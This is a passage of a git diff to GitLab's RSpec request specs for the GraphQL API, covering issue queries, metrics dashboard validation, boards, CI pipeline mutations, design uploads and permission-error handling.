+ include GraphqlHelpers
+
+ let(:current_user) { create(:user, :admin) }
+ let!(:instance_statistics_measurement_1) { create(:instance_statistics_measurement, :project_count, recorded_at: 20.days.ago, count: 5) }
+ let!(:instance_statistics_measurement_2) { create(:instance_statistics_measurement, :project_count, recorded_at: 10.days.ago, count: 10) }
+
+ let(:query) { graphql_query_for(:instanceStatisticsMeasurements, 'identifier: PROJECTS', 'nodes { count }') }
+
+ before do
+ post_graphql(query, current_user: current_user)
+ end
+
+ it 'returns measurement objects' do
+ expect(graphql_data.dig('instanceStatisticsMeasurements', 'nodes')).to eq([{ "count" => 10 }, { "count" => 5 }])
+ end
+end
diff --git a/spec/requests/api/graphql/issue/issue_spec.rb b/spec/requests/api/graphql/issue/issue_spec.rb
new file mode 100644
index 00000000000..1c9d6b25856
--- /dev/null
+++ b/spec/requests/api/graphql/issue/issue_spec.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Query.issue(id)' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:current_user) { create(:user) }
+
+ let(:issue_data) { graphql_data['issue'] }
+
+ let_it_be(:issue_params) { { 'id' => issue.to_global_id.to_s } }
+ let(:issue_fields) { all_graphql_fields_for('Issue'.classify) }
+
+ let(:query) do
+ graphql_query_for('issue', issue_params, issue_fields)
+ end
+
+ it_behaves_like 'a working graphql query' do
+ before do
+ post_graphql(query, current_user: current_user)
+ end
+ end
+
+ context 'when the user does not have access to the issue' do
+ it 'returns nil' do
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
+
+ post_graphql(query)
+
+ expect(issue_data).to be nil
+ end
+ end
+
+ context 'when the user does have access' do
+ before do
+ project.add_guest(current_user)
+ end
+
+ it 'returns the issue' do
+ post_graphql(query, current_user: current_user)
+
+ expect(issue_data).to include(
+ 'title' => issue.title,
+ 'description' => issue.description
+ )
+ end
+
+ context 'selecting any single field' do
+ where(:field) do
+ scalar_fields_of('Issue').map { |name| [name] }
+ end
+
+ with_them do
+ it_behaves_like 'a working graphql query' do
+ let(:issue_fields) do
+ field
+ end
+
+ before do
+ post_graphql(query, current_user: current_user)
+ end
+
+ it "returns the Issue and field #{params['field']}" do
+ expect(issue_data.keys).to eq([field])
+ end
+ end
+ end
+ end
+
+ context 'selecting multiple fields' do
+ let(:issue_fields) { %w(title description) }
+
+ it 'returns the Issue with the specified fields' do
+ post_graphql(query, current_user: current_user)
+
+ expect(issue_data.keys).to eq( %w(title description) )
+ expect(issue_data['title']).to eq(issue.title)
+ expect(issue_data['description']).to eq(issue.description)
+ end
+ end
+
+ context 'when passed a non-Issue gid' do
+ let(:mr) {create(:merge_request)}
+
+ it 'returns an error' do
+ gid = mr.to_global_id.to_s
+ issue_params['id'] = gid
+
+ post_graphql(query, current_user: current_user)
+
+ expect(graphql_errors).not_to be nil
+ expect(graphql_errors.first['message']).to eq("\"#{gid}\" does not represent an instance of Issue")
+ end
+ end
+ end
+
+ context 'when there is a confidential issue' do
+ let!(:confidential_issue) do
+ create(:issue, :confidential, project: project)
+ end
+
+ let(:issue_params) { { 'id' => confidential_issue.to_global_id.to_s } }
+
+ context 'when the user cannot see confidential issues' do
+ it 'returns nil ' do
+ post_graphql(query, current_user: current_user)
+
+ expect(issue_data).to be nil
+ end
+ end
+
+ context 'when the user can see confidential issues' do
+ it 'returns the confidential issue' do
+ project.add_developer(current_user)
+
+ post_graphql(query, current_user: current_user)
+
+ expect(graphql_data.count).to eq(1)
+ expect(issue_data['confidential']).to be(true)
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/metrics/dashboard_query_spec.rb b/spec/requests/api/graphql/metrics/dashboard_query_spec.rb
index 456b0a5dea1..e01f59ee6a0 100644
--- a/spec/requests/api/graphql/metrics/dashboard_query_spec.rb
+++ b/spec/requests/api/graphql/metrics/dashboard_query_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'Getting Metrics Dashboard' do
let_it_be(:current_user) { create(:user) }
let(:project) { create(:project) }
- let!(:environment) { create(:environment, project: project) }
+ let(:environment) { create(:environment, project: project) }
let(:query) do
graphql_query_for(
@@ -25,73 +25,156 @@ RSpec.describe 'Getting Metrics Dashboard' do
)
end
- context 'for anonymous user' do
+ context 'with metrics_dashboard_exhaustive_validations feature flag off' do
before do
- post_graphql(query, current_user: current_user)
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: false)
end
- context 'requested dashboard is available' do
- let(:path) { 'config/prometheus/common_metrics.yml' }
+ context 'for anonymous user' do
+ before do
+ post_graphql(query, current_user: current_user)
+ end
+
+ context 'requested dashboard is available' do
+ let(:path) { 'config/prometheus/common_metrics.yml' }
+
+ it_behaves_like 'a working graphql query'
+
+ it 'returns nil' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes')
+
+ expect(dashboard).to be_nil
+ end
+ end
+ end
+
+ context 'for user with developer access' do
+ before do
+ project.add_developer(current_user)
+ post_graphql(query, current_user: current_user)
+ end
+
+ context 'requested dashboard is available' do
+ let(:path) { 'config/prometheus/common_metrics.yml' }
+
+ it_behaves_like 'a working graphql query'
+
+ it 'returns metrics dashboard' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
+
+ expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => nil)
+ end
+
+ context 'invalid dashboard' do
+ let(:path) { '.gitlab/dashboards/metrics.yml' }
+ let(:project) { create(:project, :repository, :custom_repo, namespace: current_user.namespace, files: { path => "---\ndashboard: 'test'" }) }
+
+ it 'returns metrics dashboard' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
+
+ expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => ["panel_groups: should be an array of panel_groups objects"])
+ end
+ end
+
+ context 'empty dashboard' do
+ let(:path) { '.gitlab/dashboards/metrics.yml' }
+ let(:project) { create(:project, :repository, :custom_repo, namespace: current_user.namespace, files: { path => "" }) }
+
+ it 'returns metrics dashboard' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
- it_behaves_like 'a working graphql query'
+ expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => ["dashboard: can't be blank", "panel_groups: should be an array of panel_groups objects"])
+ end
+ end
+ end
+
+ context 'requested dashboard can not be found' do
+ let(:path) { 'config/prometheus/i_am_not_here.yml' }
- it 'returns nil' do
- dashboard = graphql_data.dig('project', 'environments', 'nodes')
+ it_behaves_like 'a working graphql query'
- expect(dashboard).to be_nil
+ it 'returns nil' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
+
+ expect(dashboard).to be_nil
+ end
end
end
end
- context 'for user with developer access' do
+ context 'with metrics_dashboard_exhaustive_validations feature flag on' do
before do
- project.add_developer(current_user)
- post_graphql(query, current_user: current_user)
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: true)
end
- context 'requested dashboard is available' do
- let(:path) { 'config/prometheus/common_metrics.yml' }
+ context 'for anonymous user' do
+ before do
+ post_graphql(query, current_user: current_user)
+ end
+
+ context 'requested dashboard is available' do
+ let(:path) { 'config/prometheus/common_metrics.yml' }
+
+ it_behaves_like 'a working graphql query'
- it_behaves_like 'a working graphql query'
+ it 'returns nil' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes')
- it 'returns metrics dashboard' do
- dashboard = graphql_data.dig('project', 'environments', 'nodes')[0]['metricsDashboard']
+ expect(dashboard).to be_nil
+ end
+ end
+ end
- expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => nil)
+ context 'for user with developer access' do
+ before do
+ project.add_developer(current_user)
+ post_graphql(query, current_user: current_user)
end
- context 'invalid dashboard' do
- let(:path) { '.gitlab/dashboards/metrics.yml' }
- let(:project) { create(:project, :repository, :custom_repo, namespace: current_user.namespace, files: { path => "---\ndashboard: 'test'" }) }
+ context 'requested dashboard is available' do
+ let(:path) { 'config/prometheus/common_metrics.yml' }
+
+ it_behaves_like 'a working graphql query'
it 'returns metrics dashboard' do
dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
- expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => ["panel_groups: should be an array of panel_groups objects"])
+ expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => nil)
end
- end
- context 'empty dashboard' do
- let(:path) { '.gitlab/dashboards/metrics.yml' }
- let(:project) { create(:project, :repository, :custom_repo, namespace: current_user.namespace, files: { path => "" }) }
+ context 'invalid dashboard' do
+ let(:path) { '.gitlab/dashboards/metrics.yml' }
+ let(:project) { create(:project, :repository, :custom_repo, namespace: current_user.namespace, files: { path => "---\ndashboard: 'test'" }) }
- it 'returns metrics dashboard' do
- dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
+ it 'returns metrics dashboard' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
- expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => ["dashboard: can't be blank", "panel_groups: should be an array of panel_groups objects"])
+ expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => ["root is missing required keys: panel_groups"])
+ end
+ end
+
+ context 'empty dashboard' do
+ let(:path) { '.gitlab/dashboards/metrics.yml' }
+ let(:project) { create(:project, :repository, :custom_repo, namespace: current_user.namespace, files: { path => "" }) }
+
+ it 'returns metrics dashboard' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
+
+ expect(dashboard).to eql("path" => path, "schemaValidationWarnings" => ["root is missing required keys: dashboard, panel_groups"])
+ end
end
end
- end
- context 'requested dashboard can not be found' do
- let(:path) { 'config/prometheus/i_am_not_here.yml' }
+ context 'requested dashboard can not be found' do
+ let(:path) { 'config/prometheus/i_am_not_here.yml' }
- it_behaves_like 'a working graphql query'
+ it_behaves_like 'a working graphql query'
- it 'returns nil' do
- dashboard = graphql_data.dig('project', 'environments', 'nodes')[0]['metricsDashboard']
+ it 'returns nil' do
+ dashboard = graphql_data.dig('project', 'environments', 'nodes', 0, 'metricsDashboard')
- expect(dashboard).to be_nil
+ expect(dashboard).to be_nil
+ end
end
end
end
diff --git a/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb b/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
index 1891300dace..1d38bb39d59 100644
--- a/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
+++ b/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
@@ -32,9 +32,7 @@ RSpec.describe 'Adding an AwardEmoji' do
context 'when the user does not have permission' do
it_behaves_like 'a mutation that does not create an AwardEmoji'
-
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when the user has permission' do
diff --git a/spec/requests/api/graphql/mutations/award_emojis/remove_spec.rb b/spec/requests/api/graphql/mutations/award_emojis/remove_spec.rb
index 665b511abb8..c6e8800de1f 100644
--- a/spec/requests/api/graphql/mutations/award_emojis/remove_spec.rb
+++ b/spec/requests/api/graphql/mutations/award_emojis/remove_spec.rb
@@ -33,9 +33,7 @@ RSpec.describe 'Removing an AwardEmoji' do
shared_examples 'a mutation that does not authorize the user' do
it_behaves_like 'a mutation that does not destroy an AwardEmoji'
-
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when the current_user does not own the award emoji' do
diff --git a/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb b/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
index ab4a213fde3..2df59ce97ca 100644
--- a/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
+++ b/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
@@ -143,8 +143,6 @@ RSpec.describe 'Toggling an AwardEmoji' do
context 'when the user does not have permission' do
it_behaves_like 'a mutation that does not create or destroy an AwardEmoji'
-
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
end
diff --git a/spec/requests/api/graphql/mutations/boards/destroy_spec.rb b/spec/requests/api/graphql/mutations/boards/destroy_spec.rb
new file mode 100644
index 00000000000..a6d894e698d
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/boards/destroy_spec.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Boards::Destroy do
+ include GraphqlHelpers
+
+ let_it_be(:current_user, reload: true) { create(:user) }
+ let_it_be(:project, reload: true) { create(:project) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:other_board) { create(:board, project: project) }
+ let(:mutation) do
+ variables = {
+ id: GitlabSchema.id_from_object(board).to_s
+ }
+
+ graphql_mutation(:destroy_board, variables)
+ end
+
+ subject { post_graphql_mutation(mutation, current_user: current_user) }
+
+ def mutation_response
+ graphql_mutation_response(:destroy_board)
+ end
+
+ context 'when the user does not have permission' do
+ it_behaves_like 'a mutation that returns a top-level access error'
+
+ it 'does not destroy the board' do
+ expect { subject }.not_to change { Board.count }
+ end
+ end
+
+ context 'when the user has permission' do
+ before do
+ project.add_maintainer(current_user)
+ end
+
+ context 'when given id is not for a board' do
+ let_it_be(:board) { build_stubbed(:issue, project: project) }
+
+ it 'returns an error' do
+ subject
+
+ expect(graphql_errors.first['message']).to include('does not represent an instance of Board')
+ end
+ end
+
+ context 'when everything is ok' do
+ it 'destroys the board' do
+ expect { subject }.to change { Board.count }.from(2).to(1)
+ end
+
+ it 'returns an empty board' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(mutation_response).to have_key('board')
+ expect(mutation_response['board']).to be_nil
+ end
+ end
+
+ context 'when there is only 1 board for the parent' do
+ before do
+ other_board.destroy!
+ end
+
+ it 'does not destroy the board' do
+ expect { subject }.not_to change { Board.count }.from(1)
+ end
+
+ it 'returns an error and not nil board' do
+ subject
+
+ expect(mutation_response['errors']).not_to be_empty
+ expect(mutation_response['board']).not_to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/boards/lists/create_spec.rb b/spec/requests/api/graphql/mutations/boards/lists/create_spec.rb
new file mode 100644
index 00000000000..328f4fb7b6e
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/boards/lists/create_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Create a label or backlog board list' do
+ include GraphqlHelpers
+
+ let_it_be(:group) { create(:group, :private) }
+ let_it_be(:board) { create(:board, group: group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:dev_label) do
+ create(:group_label, title: 'Development', color: '#FFAABB', group: group)
+ end
+
+ let(:current_user) { user }
+ let(:mutation) { graphql_mutation(:board_list_create, input) }
+ let(:mutation_response) { graphql_mutation_response(:board_list_create) }
+
+ context 'the user is not allowed to read board lists' do
+ let(:input) { { board_id: board.to_global_id.to_s, backlog: true } }
+
+ it_behaves_like 'a mutation that returns a top-level access error'
+ end
+
+ context 'when user has permissions to admin board lists' do
+ before do
+ group.add_reporter(current_user)
+ end
+
+ describe 'backlog list' do
+ let(:input) { { board_id: board.to_global_id.to_s, backlog: true } }
+
+ it 'creates the list' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response['list'])
+ .to include('position' => nil, 'listType' => 'backlog')
+ end
+ end
+
+ describe 'label list' do
+ let(:input) { { board_id: board.to_global_id.to_s, label_id: dev_label.to_global_id.to_s } }
+
+ it 'creates the list' do
+ post_graphql_mutation(mutation, current_user: current_user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response['list'])
+ .to include('position' => 0, 'listType' => 'label', 'label' => include('title' => 'Development'))
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/boards/lists/update_spec.rb b/spec/requests/api/graphql/mutations/boards/lists/update_spec.rb
index 8a6d2cb3994..8e24e053211 100644
--- a/spec/requests/api/graphql/mutations/boards/lists/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/boards/lists/update_spec.rb
@@ -15,8 +15,7 @@ RSpec.describe 'Update of an existing board list' do
let(:mutation_response) { graphql_mutation_response(:update_board_list) }
context 'the user is not allowed to read board lists' do
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
before do
diff --git a/spec/requests/api/graphql/mutations/branches/create_spec.rb b/spec/requests/api/graphql/mutations/branches/create_spec.rb
index 082b445bf3e..fc09f57a389 100644
--- a/spec/requests/api/graphql/mutations/branches/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/branches/create_spec.rb
@@ -15,8 +15,7 @@ RSpec.describe 'Creation of a new branch' do
let(:mutation_response) { graphql_mutation_response(:create_branch) }
context 'the user is not allowed to create a branch' do
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when user has permissions to create a branch' do
diff --git a/spec/requests/api/graphql/mutations/ci/pipeline_cancel_spec.rb b/spec/requests/api/graphql/mutations/ci/pipeline_cancel_spec.rb
new file mode 100644
index 00000000000..a20ac823550
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/ci/pipeline_cancel_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'PipelineCancel' do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project, user: user) }
+
+ let(:mutation) do
+ variables = {
+ id: pipeline.to_global_id.to_s
+ }
+ graphql_mutation(:pipeline_cancel, variables, 'errors')
+ end
+
+ let(:mutation_response) { graphql_mutation_response(:pipeline_cancel) }
+
+ before_all do
+ project.add_maintainer(user)
+ end
+
+ it 'does not cancel any pipelines not owned by the current user' do
+ build = create(:ci_build, :running, pipeline: pipeline)
+
+ post_graphql_mutation(mutation, current_user: create(:user))
+
+ expect(graphql_errors).not_to be_empty
+ expect(build).not_to be_canceled
+ end
+
+ it 'returns a error if the pipline cannot be be canceled' do
+ build = create(:ci_build, :success, pipeline: pipeline)
+
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(mutation_response).to include('errors' => include(eq 'Pipeline is not cancelable'))
+ expect(build).not_to be_canceled
+ end
+
+ it "cancels all cancelable builds from a pipeline" do
+ build = create(:ci_build, :running, pipeline: pipeline)
+
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(build.reload).to be_canceled
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/ci/pipeline_destroy_spec.rb b/spec/requests/api/graphql/mutations/ci/pipeline_destroy_spec.rb
new file mode 100644
index 00000000000..08959d354e2
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/ci/pipeline_destroy_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'PipelineDestroy' do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { project.owner }
+ let_it_be(:pipeline) { create(:ci_pipeline, :success, project: project, user: user) }
+
+ let(:mutation) do
+ variables = {
+ id: pipeline.to_global_id.to_s
+ }
+ graphql_mutation(:pipeline_destroy, variables, 'errors')
+ end
+
+ it 'returns an error if the user is not allowed to destroy the pipeline' do
+ post_graphql_mutation(mutation, current_user: create(:user))
+
+ expect(graphql_errors).not_to be_empty
+ end
+
+ it 'destroys a pipeline' do
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect { pipeline.reload }.to raise_error(ActiveRecord::RecordNotFound)
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/ci/pipeline_retry_spec.rb b/spec/requests/api/graphql/mutations/ci/pipeline_retry_spec.rb
new file mode 100644
index 00000000000..f6acf29c321
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/ci/pipeline_retry_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'PipelineRetry' do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project, user: user) }
+
+ let(:mutation) do
+ variables = {
+ id: pipeline.to_global_id.to_s
+ }
+ graphql_mutation(:pipeline_retry, variables,
+ <<-QL
+ errors
+ pipeline {
+ id
+ }
+ QL
+ )
+ end
+
+ let(:mutation_response) { graphql_mutation_response(:pipeline_retry) }
+
+ before_all do
+ project.add_maintainer(user)
+ end
+
+ it 'returns an error if the user is not allowed to retry the pipeline' do
+ post_graphql_mutation(mutation, current_user: create(:user))
+
+ expect(graphql_errors).not_to be_empty
+ end
+
+ it 'retries a pipeline' do
+ pipeline_id = ::Gitlab::GlobalId.build(pipeline, id: pipeline.id).to_s
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response['pipeline']['id']).to eq(pipeline_id)
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/commits/create_spec.rb b/spec/requests/api/graphql/mutations/commits/create_spec.rb
index 9e4a96700bb..ac4fa7cfe83 100644
--- a/spec/requests/api/graphql/mutations/commits/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/commits/create_spec.rb
@@ -24,8 +24,7 @@ RSpec.describe 'Creation of a new commit' do
let(:mutation_response) { graphql_mutation_response(:commit_create) }
context 'the user is not allowed to create a commit' do
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when user has permissions to create a commit' do
diff --git a/spec/requests/api/graphql/mutations/design_management/upload_spec.rb b/spec/requests/api/graphql/mutations/design_management/upload_spec.rb
index 9a9c7107b20..2189ae3c519 100644
--- a/spec/requests/api/graphql/mutations/design_management/upload_spec.rb
+++ b/spec/requests/api/graphql/mutations/design_management/upload_spec.rb
@@ -12,11 +12,11 @@ RSpec.describe "uploading designs" do
let(:files) { [fixture_file_upload("spec/fixtures/dk.png")] }
let(:variables) { {} }
- let(:mutation) do
+ def mutation
input = {
project_path: project.full_path,
iid: issue.iid,
- files: files
+ files: files.dup
}.merge(variables)
graphql_mutation(:design_management_upload, input)
end
@@ -30,31 +30,15 @@ RSpec.describe "uploading designs" do
end
it "returns an error if the user is not allowed to upload designs" do
- post_graphql_mutation(mutation, current_user: create(:user))
+ post_graphql_mutation_with_uploads(mutation, current_user: create(:user))
expect(graphql_errors).to be_present
end
- it "succeeds (backward compatibility)" do
- post_graphql_mutation(mutation, current_user: current_user)
+ it "succeeds, and responds with the created designs" do
+ post_graphql_mutation_with_uploads(mutation, current_user: current_user)
expect(graphql_errors).not_to be_present
- end
-
- it 'succeeds' do
- file_path_in_params = ['designManagementUploadInput', 'files', 0]
- params = mutation_to_apollo_uploads_param(mutation, files: [file_path_in_params])
-
- workhorse_post_with_file(api('/', current_user, version: 'graphql'),
- params: params,
- file_key: '1'
- )
-
- expect(graphql_errors).not_to be_present
- end
-
- it "responds with the created designs" do
- post_graphql_mutation(mutation, current_user: current_user)
expect(mutation_response).to include(
"designs" => a_collection_containing_exactly(
@@ -65,7 +49,7 @@ RSpec.describe "uploading designs" do
it "can respond with skipped designs" do
2.times do
- post_graphql_mutation(mutation, current_user: current_user)
+ post_graphql_mutation_with_uploads(mutation, current_user: current_user)
files.each(&:rewind)
end
@@ -80,7 +64,7 @@ RSpec.describe "uploading designs" do
let(:variables) { { iid: "123" } }
it "returns an error" do
- post_graphql_mutation(mutation, current_user: create(:user))
+ post_graphql_mutation_with_uploads(mutation, current_user: create(:user))
expect(graphql_errors).not_to be_empty
end
@@ -92,7 +76,7 @@ RSpec.describe "uploading designs" do
expect(service).to receive(:execute).and_return({ status: :error, message: "Something went wrong" })
end
- post_graphql_mutation(mutation, current_user: current_user)
+ post_graphql_mutation_with_uploads(mutation, current_user: current_user)
expect(mutation_response["errors"].first).to eq("Something went wrong")
end
end
diff --git a/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb b/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
index 457c37e900b..450996bf76b 100644
--- a/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
+++ b/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
@@ -20,8 +20,7 @@ RSpec.describe 'Toggling the resolve status of a discussion' do
context 'when the user does not have permission' do
let_it_be(:current_user) { create(:user) }
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ["The resource that you are attempting to access does not exist or you don't have permission to perform this action"]
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when user has permission' do
diff --git a/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb b/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
index f1d55430e02..4989d096925 100644
--- a/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
+++ b/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
@@ -32,12 +32,7 @@ RSpec.describe 'Setting an issue as locked' do
end
context 'when the user is not allowed to update the issue' do
- it 'returns an error' do
- error = "The resource that you are attempting to access does not exist or you don't have permission to perform this action"
- post_graphql_mutation(mutation, current_user: current_user)
-
- expect(graphql_errors).to include(a_hash_including('message' => error))
- end
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when user is allowed to update the issue' do
diff --git a/spec/requests/api/graphql/mutations/issues/set_severity_spec.rb b/spec/requests/api/graphql/mutations/issues/set_severity_spec.rb
new file mode 100644
index 00000000000..96fd2368765
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/issues/set_severity_spec.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Setting severity level of an incident' do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+ let(:incident) { create(:incident) }
+ let(:project) { incident.project }
+ let(:input) { { severity: 'CRITICAL' } }
+
+ let(:mutation) do
+ variables = {
+ project_path: project.full_path,
+ iid: incident.iid.to_s
+ }
+
+ graphql_mutation(:issue_set_severity, variables.merge(input),
+ <<-QL.strip_heredoc
+ clientMutationId
+ errors
+ issue {
+ iid
+ severity
+ }
+ QL
+ )
+ end
+
+ def mutation_response
+ graphql_mutation_response(:issue_set_severity)
+ end
+
+ context 'when the user is not allowed to update the incident' do
+ it 'returns an error' do
+ error = "The resource that you are attempting to access does not exist or you don't have permission to perform this action"
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(graphql_errors).to include(a_hash_including('message' => error))
+ end
+ end
+
+ context 'when the user is allowed to update the incident' do
+ before do
+ project.add_developer(user)
+ end
+
+ it 'updates the issue' do
+ post_graphql_mutation(mutation, current_user: user)
+
+ expect(response).to have_gitlab_http_status(:success)
+ expect(mutation_response.dig('issue', 'severity')).to eq('CRITICAL')
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/issues/update_spec.rb b/spec/requests/api/graphql/mutations/issues/update_spec.rb
index fd983c683be..af52f9d57a3 100644
--- a/spec/requests/api/graphql/mutations/issues/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/issues/update_spec.rb
@@ -20,8 +20,7 @@ RSpec.describe 'Update of an existing issue' do
let(:mutation_response) { graphql_mutation_response(:update_issue) }
context 'the user is not allowed to update issue' do
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when user has permissions to update issue' do
diff --git a/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
index 9297ca054c7..bf759521dc0 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
@@ -24,8 +24,7 @@ RSpec.describe 'Creation of a new merge request' do
let(:mutation_response) { graphql_mutation_response(:merge_request_create) }
context 'the user is not allowed to create a branch' do
- it_behaves_like 'a mutation that returns top-level errors',
- errors: ['The resource that you are attempting to access does not exist or you don\'t have permission to perform this action']
+ it_behaves_like 'a mutation that returns a top-level access error'
end
context 'when user has permissions to create a merge request' do
diff --git a/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb b/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
index 0e2da94f0f9..10ca2cf1cf8 100644
--- a/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
@@ -101,7 +101,7 @@ RSpec.describe Mutations::Metrics::Dashboard::Annotations::Create do
graphql_mutation(:create_annotation, variables)
end
- it_behaves_like 'a mutation that returns top-level errors', errors: ['invalid_id is not a valid GitLab id.']
+ it_behaves_like 'a mutation that returns top-level errors', errors: ['invalid_id is not a valid GitLab ID.']
end
end
end
@@ -188,7 +188,7 @@ RSpec.describe Mutations::Metrics::Dashboard::Annotations::Create do
graphql_mutation(:create_annotation, variables)
end
